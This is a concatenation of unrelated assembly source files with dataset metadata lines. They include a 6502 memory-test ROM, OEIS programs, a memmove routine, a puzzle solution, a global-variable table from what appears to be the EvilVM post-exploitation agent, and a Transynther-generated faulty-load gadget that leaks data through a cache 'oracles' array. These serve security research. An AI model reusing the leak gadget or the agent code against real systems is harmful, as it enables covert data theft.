SER_TX = $1 ; register to transmit a byte SER_RX = $2 ; register to receive a byte SER_ST = $3 ; register to query device status SER_TA = $4 ; transmit control byte A SER_TB = $5 ; transmit control byte B SER_RA = $6 ; receive control byte A SER_RB = $7 ; receive control byte B SER_LBL = $10 ; start of an ASCIIZ label ICTL_PEA0 = $b040 ; interrupt control: pending slot 0-7 alpha IRQs ICTL_PEA1 = $b041 ; interrupt control: pending slot 8-15 alpha IRQs ICTL_PEB0 = $b048 ; interrupt control: pending slot 0-7 beta IRQs ICTL_PEB1 = $b049 ; interrupt control: pending slot 8-15 beta IRQs ICTL_PEPR = $b080 ; interrupt control: highest priority pending IRQ BAUDCODE = $15 ; code for 9600 baud TXMODE = $30 ; code for 8n2, compatible with 8n1 RXMODE = $20 ; code for 8n1 ; Zero page addresses cb = $00 ; cyclic byte value cm = $01 ; cyclic byte modulus value num = $02 ; 1 byte number pg = $03 ; page address (2 bytes) pgc = $05 ; number of pages to go ; $06 is unused ecks = $07 ; if we're running 'x' (1) or 'r' (0) ; And now the program. * = $c0dd ; txchar: transmit a character on the serial port in slot 8, without using ; interrupts. The character is in the accumulator; doesn't alter ; any registers. txchar = * pha ; stash the byte value for later txchar__loop = * lda ICTL_PEB1 ror a ; get bit 0 into carry, indicating port 8 is ready for write bcc txchar__loop ; not ready pla sta SER_BASE+SER_TX ; write the byte to port 8 rts ; done ; rxchar() ; Routine to receive a byte on the serial port in slot 8, without using ; interrupts. ; ; Returns with either: ; . the received byte value, in the accumulator; carry flag is clear ; . some exception value, in the accumulator; carry flag is set ; ; Doesn't mangle any other registers. rxchar = * ; check for availability of a character or exception in the serial ; device's buffer, which is indicated by its alpha IRQ lda ICTL_PEA1 ror a ; get bit 0 into carry bcc rxchar ; not ready ; it's ready; receive a byte or exception lda SER_BASE+SER_ST ; serial status byte ror a ; get bit 0 into carry lda SER_BASE+SER_RX ; byte or exception received sta SER_BASE+SER_RX ; remove it from the buffer to make room for another rts ; done * = $c258 start = * ; no interrupts, we don't use them sei ; initialize serial port on slot 8 lda #BAUDCODE sta SER_BASE+SER_TA sta SER_BASE+SER_RA lda #TXMODE sta SER_BASE+SER_TB lda #RXMODE sta SER_BASE+SER_RB ; blank the LEDs lda #0 sta LEDOUT ; initialize zero page variables lda #1 ; cyclic byte (to read/write in memory) sta cb lda #101 ; cyclic modulus (when to reset cyclic byte) sta cm lda #0 ; numeric input sta num ; now the main loop: read command input & perform it main_loop = * jsr rxchar cmp #'s' beq cmd_s_jmp cmp #'m' beq cmd_m_jmp cmp #'w' beq cmd_w_jmp cmp #'r' beq cmd_r_jmp cmp #'l' beq cmd_l_jmp cmp #'@' beq cmd_at_jmp sec sbc #'0' ; convert to digit value, assuming it is a digit bmi main_loop ; it's not a digit cmp #10 ; is it really a digit bpl main_loop ; nope ; it's a digit; so do: num = num * 10 + digit pha ; stash the digit asl num ; num * 2 lda num asl a asl a ; num * 8 clc adc num ; num * 10 sta num pla ; get the digit back pha ; stash it again clc ; and add it to the number adc num sta num pla ; get the digit back clc adc #'0' ; convert back to a digit jsr txchar ; and echo it jmp main_loop ; and do the next digit or command cmd_s_jmp jmp cmd_s cmd_m_jmp jmp cmd_m cmd_w_jmp jmp cmd_w cmd_r_jmp jmp cmd_r cmd_l_jmp jmp cmd_l cmd_at_jmp jmp cmd_at * = $c581 cmd_s = * ; the 's' command sets the cyclic byte value jsr txchar ; echo the command lda num sta cb lda #0 sta num jmp main_loop cmd_m = * ; the 'm' command sets the cyclic modulus value jsr txchar ; echo the command lda num sta cm lda #0 sta num jmp main_loop * = $d000 cmd_w = * ; the 'w' command writes to memory jsr txchar ; echo the command lda num ; 2kB block number asl a asl a asl a ; 256B page number sta pg+1 ; store page address lda #0 sta pg ; page address divisible by $00 sta num ; reset input number lda #8 ; 256B pages in 2kB sta pgc cmd_w__oloop = * ; write to a page, at (pg); there are pgc left lda pg+1 and #$86 beq cmd_w__next ; skip pages 0 & 1 - we're using them ldy #0 cmd_w__iloop = * ; write to a byte, at (pg),y lda cb ; the cyclic byte: the one we write sta (pg),y inc cb ; and go on to the next one lda cb ; see if the cyclic byte resets, by checking the cyclic modulus cmp cm bne cmd_w__noreset lda #0 ; reset the cyclic byte sta cb cmd_w__noreset = * iny ; index to next byte bne cmd_w__iloop ; branch if there are any cmd_w__next = * ; this page is done; print a status character before going on to the ; next one lda #'.' ; success jsr txchar inc pg+1 ; next page dec pgc ; one fewer to go bne cmd_w__oloop ; do that page ; all pages have been done; ready to accept a new command lda #'>' jsr txchar jmp main_loop * = $eeee cmd_at = * ; the '@' command just resets the number and does nothing jsr txchar ; echo the command lda #0 sta num jmp main_loop cmd_r = * ; the 'r' command reads from memory and checks its contents jsr txchar ; echo the command lda num ; 2kB block number asl a asl a asl a ; 256B page number sta pg+1 ; store page address lda #0 sta pg ; page address divisible by $00 sta num ; reset the input number lda #8 ; 256B pages in 2kB sta pgc cmd_r__oloop = * ; read a page, at (pg); there are pgc left lda pg+1 and #$86 beq cmd_r__next ; skip pages 0 & 1 - they weren't written ldy #0 cmd_r__iloop = * ; read a byte, at (pg),y lda (pg),y ; the byte in memory cmp cb ; and compare to cyclic byte, what we expect to read bne cmd_r__bad ; branches if it failed cmd_r__ok = * ; we've checked the byte and printed any error; now to go on to ; the next one inc cb ; and go on to the next one lda cb ; see if the cyclic byte resets, by checking the cyclic modulus cmp cm bne cmd_r__noreset lda #0 ; reset the cyclic byte sta cb cmd_r__noreset = * iny ; index to next byte bne cmd_r__iloop ; branch if there are any ; this page is done; print a status character before going on to the ; next one cmd_r__next = * lda #'.' ; success jsr txchar inc pg+1 ; next page dec pgc ; one fewer to go bne cmd_r__oloop ; do that page cmd_r__done = * ; all pages have been done; ready to accept a new command lda #'>' jsr txchar jmp main_loop cmd_r__bad = * ; Some byte had the wrong value. Print out, in hex: ; address ; expected value ; actual value ; exclamation point ; Then terminate. pha ; stash the actual value lda pg+1 ; upper half of address jsr txhex tya ; lower half of address jsr txhex lda #' ' jsr txchar lda cb ; expected value jsr txhex lda #' ' jsr txchar pla ; actual value jsr txhex lda #'!' ; error indicator jsr txchar jmp cmd_r__done cmd_l = * ; 'l' command sets LEDs jsr txchar ; echo the command lda num ; set the LEDs sta LEDOUT lda #0 ; blank the number sta num jmp main_loop ; next command hextbl = * ; table of hex digits asc "0123456789abcdef" txhex = * ; txhex(): Write to the serial port two hex digits, representing ; the single byte that's in the accumulator. Clobbers it and the ; X register. pha ; save the byte value for later ror a ; now extracting the upper half byte ror a ror a ror a and #15 tax ; and converting to hex lda hextbl, x jsr txchar ; and transmitting it pla ; and get the original byte value back and #15 ; and extract the lower half byte tax ; now converting to hex lda hextbl, x jsr txchar ; and transmitting it rts ; and done * = $fffc dw start ; reset vector
28.09589
78
0.655778
0239b47a9454341fdc8d31138b4a2ade072bf427
553
asm
Assembly
programs/oeis/285/A285896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/285/A285896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/285/A285896.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A285896: Sum of divisors d of n such that n/d is not congruent to 0 mod 5. ; 1,3,4,7,5,12,8,15,13,15,12,28,14,24,20,31,18,39,20,35,32,36,24,60,25,42,40,56,30,60,32,63,48,54,40,91,38,60,56,75,42,96,44,84,65,72,48,124,57,75,72,98,54,120,60,120,80,90,60,140,62,96,104,127,70,144,68,126,96,120,72,195,74,114,100,140,96,168,80,155,121,126,84,224,90,132,120,180,90,195,112,168,128,144,100,252,98,171,156,175 mov $1,$0 seq $0,283118 ; a(n) = sigma(5*n). seq $1,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). sub $0,$1 div $0,5
61.444444
326
0.667269
c3c481814a89dab1dd6e0705fcc7053ff1d93e2b
2,234
asm
Assembly
programs/oeis/179/A179665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/179/A179665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/179/A179665.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A179665: a(n) = prime(n)^9. ; 512,19683,1953125,40353607,2357947691,10604499373,118587876497,322687697779,1801152661463,14507145975869,26439622160671,129961739795077,327381934393961,502592611936843,1119130473102767,3299763591802133,8662995818654939,11694146092834141,27206534396294947,45848500718449031,58871586708267913,119851595982618319,186940255267540403,350356403707485209,760231058654565217,1093685272684360901,1304773183829244583,1838459212420154507,2171893279442309389,3004041937984268273,8594754748609397887,11361656654439817571,17001416405572203977,19370159742424031659,36197319879620191349,40812436757196811351,57955795548021664957,81224760533853742723,101029508532509551847,138808137876363860813,188658891711079763219,208500535066053616021,338298681559573317311,371548729913362368193,446885265417950510117,489415464119070561799,828976267940322173491,1363778273695777847263,1600415374247183470787,1731886157602686265669,2023966356928852115753,2544374934440439784559,2742542606093287451761,3954244264165377252251,4891005035897482905857,6020072706412286871623,7375144266114367290029,7883582519761555858831,9601032097114511317237,10923375902587206152921,11643349118950948694203,15915071101130977289093,24223973308916016636307,27217203547650508966391,28833611193336884526073,32324614926291125487197,47692703775754250891371,56062067225927988301777,72939918399605131977467,76811959212763434593149,85108384800797146356833,99048986760825351881639,120779875685608537745647,139758904019455948566613,161344026025018913493019,177332756837315126431103,203960661546169565063909,244970935601525730479917,268101567757470981763601,320265215673826473056089,398039531776795387285379,415469227535518665906181,513210379737799292308271,535045932926216201589553,605592770801153705930359,657103130187045811620443,741680855533270234714049,869452379987698174267657,940390706476118700005741,977752464192721105849423,1056457243347740004682547,1327454428646007218077919,1540851022625543030745127,1658568561963902101824011,1918248691429635491004499,2061160758358799212544183,2293295617071746318664989,2828391410657939516171081,2927623333013089109425963,3969861779162915894438461 seq $0,6005 ; The odd prime numbers together with 1. max $0,2 pow $0,9
319.142857
2,131
0.93778
2bf6539ebe17b99783f21d1e99ca2de33d3109f7
917
asm
Assembly
programs/oeis/024/A024080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/024/A024080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/024/A024080.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A024080: a(n) = 7^n - n^5. ; 1,6,17,100,1377,13682,109873,806736,5732033,40294558,282375249,1977165692,13841038369,96888639114,678222535025,4747560750568,33232929521025,232630512567350,1628413596020881,11398895182897044,79792266294412001,558545864079199906,3909821048577834417,27368747340074480000,191581231380558451777,1341068619663955135182,9387480337647742424273,65712362363534265790636,459986536544739943766433,3219905755813179706326458,22539340290692258063563249,157775382034845806586413592,1104427674243920646271744769,7730993719707444524097959014,54116956037952111668914225425,378818692265664781682665104068,2651730845859653471778962915425,18562115921017574302453094327250,129934811447123020117172066463281,909543680129861140820204929664944,6366805760909027985741435036824001,44567640326363195900190045858711806,311973482284542371301330321691284817 mov $2,$0 pow $0,5 mov $1,7 pow $1,$2 sub $1,$0 mov $0,$1
91.7
828
0.901854
dde3503de19e2e7040b39fb6c6d701b85b981b71
343
asm
Assembly
programs/oeis/063/A063510.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/063/A063510.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/063/A063510.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A063510: a(1) = 1, a(n) = a(floor(square root(n)) + 1 for n > 1. ; 1,2,2,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4 mov $1,1 lpb $0,1 add $1,2 div $0,$1 lpe div $1,2 add $1,1
31.181818
211
0.504373
f39eaf764017f09b4b707fabae6758f7afab9953
3,217
asm
Assembly
agent/table.asm
jephthai/EvilVM
429fcc9df6f1168d38c21f37b377c36cf7bcc957
[ "MIT" ]
141
2019-05-18T20:46:47.000Z
2022-02-28T05:10:43.000Z
agent/table.asm
jephthai/EvilVM
429fcc9df6f1168d38c21f37b377c36cf7bcc957
[ "MIT" ]
6
2019-06-04T15:33:21.000Z
2021-05-07T15:27:58.000Z
agent/table.asm
jephthai/EvilVM
429fcc9df6f1168d38c21f37b377c36cf7bcc957
[ "MIT" ]
21
2019-05-22T02:48:30.000Z
2021-11-03T05:34:48.000Z
;;; ------------------------------------------------------------------------ ;;; We will be making some space for a table of global variables ;;; ------------------------------------------------------------------------ %define GLOBAL_SPACE 0x240 %define KERNEL32_BASE [ r15 + 0x008 ] %define KERNEL32_NAMES [ r15 + 0x010 ] %define KERNEL32_FNS [ r15 + 0x018 ] %define KERNEL32_ORDS [ r15 + 0x020 ] %define W32_GetProcAddress [ r15 + 0x028 ] %assign offset 0x30 %macro DefGlobal 2 %xdefine %1_OFF %2 %xdefine %1 [ r15 + %2 ] %endmacro ;;; ------------------------------------------------------------------------ ;;; Define a bunch of runtime global variables for compiler state ;;; ------------------------------------------------------------------------ DefGlobal G_BOTTOM, 0x30 ; bottom of the data stack DefGlobal G_KEY, 0x38 ; function pointer for reading a byte from input stream DefGlobal G_MEMINPUT, 0x40 ; pointer to current location for compiling from memory DefGlobal G_BOOT, 0x48 ; boot pointer for error handler to reset DefGlobal G_RESET, 0x50 ; function pointer to reset state on error DefGlobal G_HERE, 0x58 ; next available byte in dictionary DefGlobal G_LAST, 0x60 ; last defined word in dictionary DefGlobal G_THIS, 0x68 ; current word definition in dictionary DefGlobal G_STDIN, 0x70 ; process's actual standard input stream handle DefGlobal G_INPUT, 0x78 ; handle for input with default IO DefGlobal G_TIB, 0x80 ; beginning of the TIB DefGlobal G_TIBA, 0x88 ; start of unused TIB DefGlobal G_TIBB, 0x90 ; last read char in TIB DefGlobal G_TIBN, 0x98 ; length of the TIB DefGlobal G_SCRATCH, 0x100 ; pointer to unmanaged scratch space in memory DefGlobal G_ECHO, 0x108 ; flag to echo input to output DefGlobal G_BASE, 0x110 ; numeric base for IO DefGlobal G_INIT, 0x118 ; offset to core API during initialization DefGlobal G_ENTRY, 0x120 ; entrypoint to the shellcode DefGlobal G_RSP0, 0x128 ; save boot-time call stack pointer for reset DefGlobal G_PSP0, 0x130 ; save boot-time data stack pointer for reset DefGlobal G_STDOUT, 0x138 ; process's actual standard output stream handle DefGlobal G_STACK, 0x140 ; base of the data stack DefGlobal G_DICT, 0x148 ; base of the dictionary DefGlobal G_LASTEX, 0x150 ; pointer to last exception DefGlobal G_HANDLER, 0x158 ; exception handler pointer DefGlobal G_LASTCALL, 0x160 ; last call on stack at exception DefGlobal G_DSIZE, 0x168 ; size of the initial dictionary as allocated DefGlobal G_LINENO, 0x170 ; for counting lines DefGlobal G_LASTWORD, 0x178 ; last word read by interpreter DefGlobal G_LASTLEN, 0x180 ; last word length DefGlobal G_EOS, 0x188 ; end of shellcode in memory ;;; From now on, we'll tack on more globals in macros, and keep track ;;; of the offsets using this variable. This is handy for optional code ;;; (such as alternative IO layers) so that they can create usable global ;;; variable slots without having to keep track of indexes manually. %assign offset 0x190 %macro AddGlobal 2 %xdefine %1_OFF offset %xdefine %1 [ r15 + offset ] %assign offset offset + 8 mov %1, %2 %endmacro
46.623188
82
0.673609
4422d97175cf75e9bc2ae6c987bfd24b6d42b3fa
158
asm
Assembly
solutions/19 - Content Creators Bug Fix/size-4_speed-26_dont_step_twice_at_start.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
45
2018-09-05T04:56:59.000Z
2021-11-22T08:57:26.000Z
solutions/19 - Content Creators Bug Fix/size-4_speed-26_dont_step_twice_at_start.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T11:34:26.000Z
2021-05-19T23:20:49.000Z
solutions/19 - Content Creators Bug Fix/size-4_speed-26_dont_step_twice_at_start.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T07:44:19.000Z
2021-09-10T19:07:35.000Z
-- 7 Billion Humans (2087) -- -- 19: Content Creators Bug Fix -- -- Author: landfillbaby -- Size: 4 -- Speed: 26 takefrom s a: giveto se takefrom sw jump a
12.153846
34
0.658228
fadac4e9da356e4a7bf1300bd4a39c65c61107a7
205
asm
Assembly
programs/oeis/165/A165734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/165/A165734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/165/A165734.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A165734: Period 2: repeat 6,30. ; 6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30,6,30 mod $0,2 mul $0,24 add $0,6
29.285714
141
0.6
13cc2c244c606216c43c730dd7e469fd3b608ff4
233
asm
Assembly
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_DrawUpdateStructAlways.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_DrawUpdateStructAlways.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_DrawUpdateStructAlways.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; sp1_DrawUpdateStructAlways(struct sp1_update *u) SECTION code_clib SECTION code_temp_sp1 PUBLIC sp1_DrawUpdateStructAlways EXTERN asm_sp1_DrawUpdateStructAlways defc sp1_DrawUpdateStructAlways = asm_sp1_DrawUpdateStructAlways
19.416667
64
0.888412
635a799a63a1cf9bcfb7b5d1108259601bdde8a3
2,512
asm
Assembly
Borland/CBuilder5/Source/RTL/source/cstrings/memmove.asm
TrevorDArcyEvans/DivingMagpieSoftware
7ffcfef653b110e514d5db735d11be0aae9953ec
[ "MIT" ]
1
2021-05-27T10:27:25.000Z
2021-05-27T10:27:25.000Z
Borland/CBuilder5/Source/RTL/source/cstrings/memmove.asm
TrevorDArcyEvans/Diving-Magpie-Software
7ffcfef653b110e514d5db735d11be0aae9953ec
[ "MIT" ]
null
null
null
Borland/CBuilder5/Source/RTL/source/cstrings/memmove.asm
TrevorDArcyEvans/Diving-Magpie-Software
7ffcfef653b110e514d5db735d11be0aae9953ec
[ "MIT" ]
null
null
null
;[]-----------------------------------------------------------------[] ;| MEMMOVE.ASM -- copy a block of n bytes from src to dst | ;[]-----------------------------------------------------------------[] ; ; C/C++ Run Time Library - Version 10.0 ; ; Copyright (c) 1991, 2000 by Inprise Corporation ; All Rights Reserved. ; ; $Revision: 9.0 $ include RULES.ASI ; Segments Definitions Header@ ;----------------------------------------------------------------------- ; ;Name memmove - copy a block of n bytes from src to dst ; ;Usage void *memmove(void *dest, const void *src, size_t n); ; ;Prototype in mem.h & string.h ; ;Description memmove copies a block of n bytes from src to dest. Even ; when the source and destination blocks overlap, bytes in ; the overlapping locations are copied correctly. ; ;Return value memmove returns dest ; ;----------------------------------------------------------------------- Code_seg@ Func@ memmove, _EXPFUNC, _RTLENTRYF, <pointer dest>,<pointer src>,<int n> Link@ esi,edi mov edi,dest mov esi,src mov ecx,n mov edx,ecx cmp edi,esi ; dest < source ? jb mov_fwd ; yes, do a simple forward move je mov_end ; dest == source ? do nothing std ; force esi and edi to decrement lea esi,[esi+ecx-1] ; point to last byte of source buffer lea edi,[edi+ecx-1] ; point to last byte of dest buffer and ecx,3 ; copy trailing bytes rep movsb mov ecx,edx ; get original count back shr ecx,1 ; calculate no. of longwords shr ecx,1 sub esi,3 ; point to previous longword in source sub edi,3 ; point to previous longword in dest rep movsd ; copy longwords cld ; clear direction flag jmp short mov_end mov_fwd: cld shr ecx,1 shr ecx,1 rep movsd ; copy longwords mov ecx,edx ; get original count back and ecx,3 ; calculate remainder byte count (0-3) rep movsb ; copy remaining bytes mov_end: mov eax,dest Unlink@ esi,edi Return@ EndFunc@ memmove Code_EndS@ end
31.797468
75
0.465764
c7a0b2f8702dd726884694aa9b9469fee0eaaced
5,382
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2188.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2188.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2188.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x7fa9, %r15 nop nop nop nop nop add %rdx, %rdx mov (%r15), %rdi nop xor %r11, %r11 lea addresses_WC_ht+0x15525, %rsi lea addresses_A_ht+0x1a329, %rdi nop nop inc %rbp mov $116, %rcx rep movsw nop nop nop nop sub $20045, %rsi lea addresses_normal_ht+0x1d669, %rsi nop nop nop sub $30143, %r15 movl $0x61626364, (%rsi) nop nop nop nop dec %rbp lea addresses_WC_ht+0x4849, %rcx nop nop xor %r11, %r11 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %rcx movntdq %xmm2, (%rcx) nop nop add %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdx // Store lea addresses_D+0x1e429, %rbx nop dec %rcx movb $0x51, (%rbx) nop nop nop and $50842, %rdx // Store lea addresses_PSE+0xd91d, %r13 nop nop nop nop nop dec %r15 movl $0x51525354, (%r13) nop nop nop nop sub $7317, %r13 // Faulty Load lea addresses_WT+0xcda9, %rcx nop nop nop nop and $59448, %rdx mov (%rcx), %r8 lea oracles, %r13 and $0xff, %r8 shlq $12, %r8 mov (%r13,%r8,1), %r8 pop %rdx pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 